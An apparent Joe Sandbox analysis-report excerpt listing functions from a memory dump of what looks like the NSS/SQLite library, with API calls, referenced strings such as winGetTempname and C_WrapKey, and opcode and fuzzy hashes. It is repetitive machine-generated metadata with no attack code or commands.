Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: 266bf4dd3e78b1146213dc14647015c241e86232117608eb52b79df8023074c9
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 6F71D272F017058FD728CF59CA8066BB7F2AF98304F158A6DD89697B91D730E941CB90

Function 6C87AE71 Relevance: 1.6, APIs: 1, Instructions: 129COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A,?), ref: 6C87AE8A

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 76763f32106ba08871f39549a00563c0489d46bfc7fa3364d35a16694a5d98e8
Instruction ID: c527ea61fdf55718de33415cff46584f461367d9cc7e196dfdf8a7c31e05486e
Opcode Fuzzy Hash: 76763f32106ba08871f39549a00563c0489d46bfc7fa3364d35a16694a5d98e8
Instruction Fuzzy Hash: 72416FB1A19205CBEB25CF55C68679EBBF4FB09304F20986AD425EB640E375DA44CFB0

Function 6C744DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6C745125

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: c7c421fbf851b034d5420488850622870d7e404729b877527f38a1a60745d30c
Instruction ID: 9d5a9f4d409ce6af1a4c0d0ed1e7b39cf2e8d3e8e5e2a0e1f54c2c1515a94793
Opcode Fuzzy Hash: c7c421fbf851b034d5420488850622870d7e404729b877527f38a1a60745d30c
Instruction Fuzzy Hash: A7E139B1A08340CFDB04DF29D58565ABBF0FF89308F658A2DE89997651E7309985CF82

Function 6C7CA820 Relevance: 1.4, Strings: 1, Instructions: 169COMMON

Download Yara Rule

Strings

[[{l, xrefs: 6C7CA943, 6C7CA92D

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID: [[{l
API String ID: 0-3580763040
Opcode ID: 3c040cc30846d5361600597eb96cb3db9c73d48f78cd559b83f034cb98c2df7b
Instruction ID: 385518df51fff98f0296b16285245c29cdbe31bf2eba811dab931b2998b10376
Opcode Fuzzy Hash: 3c040cc30846d5361600597eb96cb3db9c73d48f78cd559b83f034cb98c2df7b
Instruction Fuzzy Hash: AC519B71B0120A8FDB05CF15DA89BAA7BF5EF4831AF26807DE8198B750D730D841CB92

Function 6C7646D0 Relevance: 1.0, Instructions: 958COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 094529e886d458be2af3ec993d6d199e5b47440d7814d734d7343489f218a1ee
Instruction ID: 4e13b1aac4adf901e02f568e8815994db63d384b44e9946b2b5aa0a4f8cab71e
Opcode Fuzzy Hash: 094529e886d458be2af3ec993d6d199e5b47440d7814d734d7343489f218a1ee
Instruction Fuzzy Hash: AB92B574A00205CFCB15CF59C590AAAB7F2FF89308F2882ADD9556BB56D731ED42CB90

Function 6C7CE5F0 Relevance: .4, Instructions: 383COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: CriticalEnterExitMonitorSectionUnlockValue
String ID:
API String ID: 344640607-0
Opcode ID: 0a76e2a9972e278b6fa2b7fe45e91cea41cb1526983559c073896f4803b0f3ad
Instruction ID: 05e9765cfc924956f9455f9fe7573b688eae5637d62dc0908ffef89bd657323a
Opcode Fuzzy Hash: 0a76e2a9972e278b6fa2b7fe45e91cea41cb1526983559c073896f4803b0f3ad
Instruction Fuzzy Hash: 97D1CDB1E0061A9FEB019F61DA4A7AE7BB5AF4531CF090138E80567B40E735E919CBD3

Function 6C7345B0 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ccc0d765c3bc397010fc64aa428f36bc6540e0d8060bec0750abb6c664d2d5a1
Instruction ID: cb2c3dc7d5e985e07e8c008c723bfa204976962bf50f564e95a4ec0e5eeb9cf6
Opcode Fuzzy Hash: ccc0d765c3bc397010fc64aa428f36bc6540e0d8060bec0750abb6c664d2d5a1
Instruction Fuzzy Hash: D5D1D472F042268BCB0CCF69C9901AEBBF2FF98314719856ED4499B792D735D902DB80

Function 6C7CA430 Relevance: .2, Instructions: 207COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c7734cbf79a636397fe7c9bc57edbc39578514314b45df1f304c6906371aad02
Instruction ID: 9fe997f53b895fc6b61d9462a70f3548d6903a2275d24f51af7e2bc9aa9682ca
Opcode Fuzzy Hash: c7734cbf79a636397fe7c9bc57edbc39578514314b45df1f304c6906371aad02
Instruction Fuzzy Hash: 6C818C70B012068FDB18CF18E684BAABBE5EF88319F15C17DE81A9B750DB34D941CB91

Function 6C7A8EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74760e7266e9b9e8b6ba2e44446f202014d15e0a2f4e88361c08f292cf7edb86
Instruction ID: ca5c59e38b871da7071d7b74a6da273fe6d67a58e6e047d277f69f167d94408e
Opcode Fuzzy Hash: 74760e7266e9b9e8b6ba2e44446f202014d15e0a2f4e88361c08f292cf7edb86
Instruction Fuzzy Hash: 1E11DD72A09296CBD708CF65D98875AB3B9BF4631CF18436AD8058FA41D375D883C7C1

Function 6C880C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1edc52dc2653cd1e45aebec006094c8566dd3ff957c3fbdf1516f021460ba08a
Instruction ID: 105f3889b4d879527d4814fff4a4047cbea263b1fb7f0f00acdbc60b6f12d918
Opcode Fuzzy Hash: 1edc52dc2653cd1e45aebec006094c8566dd3ff957c3fbdf1516f021460ba08a
Instruction Fuzzy Hash: 1B11E374706305CFCB20DF18C88466A77B2FF85368F14846DD8198BB02DB31E806CBA1

Function 6C7F44C0 Relevance: .1, Instructions: 51COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5261a0194ecd71bd3d1f6c53b564fe16120bd922712d37575cd07093b25b9dc0
Instruction ID: e82a78f2a21a9588ec352be4df7fc3de7dc4a012c847e9c48ccadd7d3933c1b2
Opcode Fuzzy Hash: 5261a0194ecd71bd3d1f6c53b564fe16120bd922712d37575cd07093b25b9dc0
Instruction Fuzzy Hash: 8511F776A002199F8B10DF99D9849EFBBF9EF8C664B554469ED28A7300D230ED118BE0

Function 6C7F4440 Relevance: .0, Instructions: 50COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf955f6d82d174925bb8003418d3ff7c7a0bfe2340b15b1eeb5486417a939be7
Instruction ID: b032e5a46a130c25823014afdf7e65486e4cc775baa96956f8be36c6e0bee276
Opcode Fuzzy Hash: bf955f6d82d174925bb8003418d3ff7c7a0bfe2340b15b1eeb5486417a939be7
Instruction Fuzzy Hash: F111C576A002199F9B00DF59C9849EFBBF9FF4C214B16416AED28E7301E630ED118BE1

Function 6C880D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction ID: 802aa6e9c762a2e6ba1d4103600ea140166a890ca26a8f7e919b8545b772252a
Opcode Fuzzy Hash: 9ba2eb2004aedd4f77228f2367ef2a228ee838c060cfdc78aa45cc4f3a876bfd
Instruction Fuzzy Hash: AAE06D3A203054A7DB248E49C550AA97399DF8561AFA4C979CC599BE01D733FC038781

Function 6C7D8670 Relevance: .0, Instructions: 16COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: Util$K11_$Alloc_ArenaArena_DoesFindMechanismTag_
String ID:
API String ID: 2003479236-0
Opcode ID: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction ID: 7ecf2755b15dc4d5ea21a8107be7b201f7616c3ec201d1ffb2260f2358c41052
Opcode Fuzzy Hash: 23e773cf1430b448038cb5704f69fb380029e02cc391f3ea17a25ad626348aa6
Instruction Fuzzy Hash: 4BE0B6B0C08B489BD708DF6AD54506AFBE4AFD8214F01D91DFC9C47212E730A5D48B82

Function 6C7ACC60 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0a25fbc3b94be144e7afedafa50d775155fc377fee50c7af3ec1da917db5924a
Instruction ID: de6ab5abfd138c91a29a134525c3ef07212894918c8681b2cba43a68f0930e2a
Opcode Fuzzy Hash: 0a25fbc3b94be144e7afedafa50d775155fc377fee50c7af3ec1da917db5924a
Instruction Fuzzy Hash: 96C04838248608CFC704DA09E48A9A43BA8AB0D6507140094EA028BB21DA21F800CA80

Function 6C886E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C73CA30: EnterCriticalSection.KERNEL32(?,?,?,6C79F9C9,?,6C79F4DA,6C79F9C9,?,?,6C76369A), ref: 6C73CA7A
Part of subcall function 6C73CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C73CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C74BE66), ref: 6C886E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C74BE66), ref: 6C886E98
sqlite3_snprintf.NSS3(?,00000000,6C8EAAF9,?,?,?,?,?,?,6C74BE66), ref: 6C886EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C74BE66), ref: 6C886ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C74BE66), ref: 6C886EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C74BE66), ref: 6C886F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C74BE66), ref: 6C886F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C74BE66), ref: 6C886F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C74BE66), ref: 6C886FA6
sqlite3_snprintf.NSS3(?,00000000,6C8EAAF9,00000000,?,?,?,?,?,?,?,6C74BE66), ref: 6C886FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C74BE66), ref: 6C886FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C74BE66), ref: 6C886FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C74BE66), ref: 6C887014
sqlite3_free.NSS3(00000000,?,?,?,?,6C74BE66), ref: 6C88701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C74BE66), ref: 6C887030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C74BE66), ref: 6C88705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C74BE66), ref: 6C887079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C74BE66), ref: 6C887097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C74BE66), ref: 6C8870A0

Strings

mz_etilqs_, xrefs: 6C886F18
winGetTempname2, xrefs: 6C8870C4
winGetTempname4, xrefs: 6C887046
winGetTempname1, xrefs: 6C88708F
winGetTempname5, xrefs: 6C887071

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 7544780f38c430d68d2c19dd3a1144c6cde0106d4df975e5061ec2e71b278fc2
Instruction ID: 5d03066410362d5c459859d25085bdf8162452ec22dde1fb5945496cb389fcca
Opcode Fuzzy Hash: 7544780f38c430d68d2c19dd3a1144c6cde0106d4df975e5061ec2e71b278fc2
Instruction Fuzzy Hash: A7516B62F151216BE33056349E59BBB366A9F92348F144D38E81596FC2FF25940E82E3

Function 6C814FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7C75C2,00000000,00000000,00000001), ref: 6C815009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7C75C2,00000000), ref: 6C815049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C81505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C815071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C815089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C8150A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C8150B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C7C75C2), ref: 6C8150CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C8150D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C8150F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C815103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C81512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C815145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C815153
free.MOZGLUE(?), ref: 6C81516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C81517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C815195

Strings

nss=, xrefs: 6C815083
library=, xrefs: 6C815043
name=, xrefs: 6C815057
config=, xrefs: 6C81509B
parameters=, xrefs: 6C81506B

Memory Dump Source

Source File: 00000000.00000002.1962182020.000000006C731000.00000020.00000001.01000000.00000007.sdmp, Offset: 6C730000, based on PE: true

Associated: 00000000.00000002.1962163755.000000006C730000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962304971.000000006C8CF000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962342234.000000006C90E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962359116.000000006C90F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962376756.000000006C910000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.1962400260.000000006C915000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c730000_4c469e2cf403fea6249e835ddce23de2.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: 599eec6f17d8283d0534878400b48d5cb71c13ff40fc8740a6a626665ac97af0
Instruction ID: 130804466f929cbae4ece60a54518dc970de1e76c3755d8e4ed89892dc19464f
Opcode Fuzzy Hash: 599eec6f17d8283d0534878400b48d5cb71c13ff40fc8740a6a626665ac97af0
Instruction Fuzzy Hash: F351A3B1A052065FEB21DE24DE41AAE37F8AF06258F140834EC19E7F41E735E919C7B2

Function 6C7E8E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C7E8E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C7E8EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C7E8EB3

Part of subcall function 6C8CD930: PL_strncpyz.NSS3(?,?,?), ref: 6C8CD963

PR_LogPrint.NSS3(?,00000000), ref: 6C7E8EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C7E8EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C7E8F17
